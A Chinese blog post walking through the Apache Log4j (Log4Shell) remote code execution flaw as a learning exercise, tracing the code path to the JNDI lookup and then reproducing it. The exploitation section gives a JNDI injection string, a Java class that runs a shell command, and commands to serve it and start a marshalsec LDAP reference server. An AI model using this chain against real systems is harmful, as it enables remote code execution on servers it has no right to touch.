【WEB安全】Apache Log4j 漏洞利用分析(下)

简介: Apache Log4j 项目被爆存在远程代码执行漏洞,且利用简单,影响危害巨大,光是引入了 log4j2 依赖的组件都是数不清,更别提项目本身可能存在的风险了,复现漏洞来学习一下,希望可以帮助到大家。

由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。

查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java中的public void error()方法:

image.png

因为在logIfEnabled方法中,对当前日志等级进行了一次判断:

image.png

如果符合,那么会进行logMessage操作

后续不关键调用路径如下:

logMessage ----> 
logMessageSafely ----> 
logMessageTrackRecursion ----> 
tryLogMessage ----> 
log

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

image.png

Loggger.log ---->  
DefaultReliabilityStrategy.log ----> 
loggerConfig.log ----> 
processLogEvent ----> 
callAppenders----> 
AppenderControl.callAppenders  ----> 
tryCallAppender ----> 
AbstractOutputStreamAppender.append ----> 
tryAppend ----> 
directEncodeEvent ----> 
PatternLayout.encode ----> 
toText ---->
toSerializable ---->
format

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

image.png

继续跟着代码走下去,走到了MessagePatternCoverter.class文件的format函数下;

image.png

如果检测到$字符后跟了一个{字符,那么会对直到}中间的内容进行解析并replace。

继续跟进就进入到了 StrSubstitutor的substitute函数下

这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法

prefixMatcher是${undefined

suffixMatcher是}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

image.png

进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中

image.png

而resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞,而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

image.png

在Interpolator.lookup方法中,首先会获取字符串的前缀值:

image.png

如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:

image.png

最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。

四、 漏洞利用

1、 编写利用类

因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。

Exploit.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{    
  public Exploit() throws IOException,InterruptedException{        
  String cmd="touch /tmp/xxx";        
  final Process process = Runtime.getRuntime().exec(cmd);        
  printMessage(process.getInputStream());;        
  printMessage(process.getErrorStream());        
  int value=process.waitFor();        
  System.out.println(value);    
}    
private static void printMessage(final InputStream input) {        
// TODO Auto-generated method stub        
new Thread (new Runnable() {            
@Override            
  public void run() {                
  // TODO Auto-generated method stub                
  Reader reader =new InputStreamReader(input);                
  BufferedReader bf = new BufferedReader(reader);                
  String line = null;                
  try {                    
  while ((line=bf.readLine())!=null)                    {                        
  System.out.println(line);                    }                
  }catch (IOException  e){  
                    e.printStackTrace(); 
                                   }            }        
}).start();    }}

编译代码后,

javac Exploit.java

开启HTTP服务

python -m http.server

image.png

2、 开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar 
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1

image.png

image.png


希望可以对大家有所帮助哦!!!


图片是我的公众号重新截图,所以有些模糊,大家见谅哦~

相关文章
|
Web App开发 监控 安全
OSS客户端签名直传实践:Web端安全上传TB级文件方案(含STS临时授权)
本文深入解析了客户端直传技术,涵盖架构设计、安全机制、性能优化等方面。通过STS临时凭证与分片上传实现高效安全的文件传输,显著降低服务端负载与上传耗时,提升系统稳定性与用户体验。
1395 2
|
存储 运维 监控
SelectDB 实现日志高效存储与实时分析,完成任务可领取积分、餐具套装/水杯/帆布包!
SelectDB 实现日志高效存储与实时分析,完成任务可领取积分、餐具套装/水杯/帆布包!
|
12月前
|
安全 Linux iOS开发
Burp Suite Professional 2025.10 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.10 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
722 3
|
SQL 监控 数据挖掘
SLS 重磅升级:超大规模数据实现完全精确分析
SLS 全新推出的「SQL 完全精确」模式,通过“限”与“换”的策略切换,在快速分析与精确计算之间实现平衡,满足用户对于超大数据规模分析结果精确的刚性需求。标志着其在超大规模日志数据分析领域再次迈出了重要的一步。
1243 118
|
监控 安全 搜索推荐
使用EventLog Analyzer进行日志取证分析
EventLog Analyzer助力企业通过集中采集、归档与分析系统日志及syslog,快速构建“数字犯罪现场”,精准追溯安全事件根源。其强大搜索功能可秒级定位入侵时间、人员与路径,生成合规与取证报表,确保日志安全防篡改,大幅提升调查效率,为执法提供有力证据支持。
451 0
|
安全 Linux iOS开发
Burp Suite Professional 2025.9 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.9 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
756 0
Burp Suite Professional 2025.9 发布 - Web 应用安全、测试和扫描
|
安全 Linux iOS开发
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
934 0
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
安全 Linux API
Burp Suite Professional 2025.4 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.4 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
645 6
Burp Suite Professional 2025.4 发布 - Web 应用安全、测试和扫描
|
监控 安全 NoSQL
【DevOps】Logstash详解:高效日志管理与分析工具
Logstash是ELK Stack核心组件之一,具备强大的日志收集、处理与转发能力。它支持多种数据来源,提供灵活的过滤、转换机制,并可通过插件扩展功能,广泛应用于系统日志分析、性能优化及安全合规等领域,是现代日志管理的关键工具。
1716 0
|
存储 安全 JavaScript
Web Storage有哪些安全风险?
Web Storage有哪些安全风险?

推荐镜像

更多